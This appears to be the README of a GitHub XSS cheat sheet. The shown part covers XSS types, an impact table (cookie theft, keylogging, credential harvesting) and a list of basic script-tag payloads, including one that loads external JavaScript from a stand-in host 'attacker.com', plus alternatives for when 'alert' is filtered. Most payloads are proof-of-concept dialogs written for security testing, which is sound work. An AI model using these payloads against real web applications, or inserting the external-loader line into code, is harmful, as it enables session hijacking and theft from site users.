ardakocadoru/xss-cheatsheetComprehensive XSS reference covering reflected, stored, DOM and blind payloads, filter bypass, WAF evasion, CSP bypass, mXSS, and real-world CVE case studies.
The most comprehensive XSS reference on GitHub.
Reflected · Stored · DOM · Blind XSS — payloads, filter bypasses, WAF evasion, CSP bypass, mXSS, prototype pollution chains, and real-world CVEs. Updated for 2026.
Payloads · Filter Bypass · WAF Evasion · DOM XSS · CSP Bypass · Blind XSS · Advanced · Tools
Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker injects malicious scripts into content served by a trusted web application. When a victim's browser renders the page, the injected script executes with the same privileges as legitimate scripts from that origin.
XSS is consistently in the OWASP Top 10 because the impact is severe and the attack surface is enormous:
| Impact | Description |
|---|---|
| Session Hijacking | Steal document.cookie and take over authenticated sessions |
| Account Takeover | Change email/password via forged requests using the victim's session |
| Keylogging | Capture every keystroke, including passwords, credit card numbers |
| Phishing | Inject fake login forms that submit credentials to attacker |
| Defacement | Modify page content to spread misinformation or embarrass the target |
| Malware Distribution | Redirect victims to exploit kits |
| Crypto Mining | Run cryptominers in victim browsers |
| SSRF / Internal Port Scan | Use victim's browser to probe internal network |
| Credential Harvesting | Read autofilled credentials from the DOM |
| Screenshot / Webcam | Capture screen via getDisplayMedia(), webcam via getUserMedia() |
XSS defeats the Same-Origin Policy (SOP). Because the malicious script is served from the target origin, the browser treats it as trusted. This means XSS gives an attacker:
HttpOnlylocalStorage and sessionStorageCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| Type | Persistence | Who Gets Hit | Server Sees Payload? |
|---|---|---|---|
| Reflected | No | Targeted victim | Yes |
| Stored | Yes | All visitors | Yes |
| DOM | No | Targeted victim | Usually No |
| Blind | Yes (remote) | Admin / backend user | Yes (at injection point) |
The foundational payloads every security researcher knows. These work where no filtering exists.
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>
<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>
<!-- Arrow function -->
<script>(() => alert(1))()</script>
alert is blocked)Many modern applications and WAFs block the word alert. Use these alternatives:
// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>
// prompt() — shows input dialog
<script>prompt(1)</script>
// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>
// print() — opens print dialog (noisy but visible)
<script>print()</script>
// debugger — pauses DevTools if open
<script>debugger</script>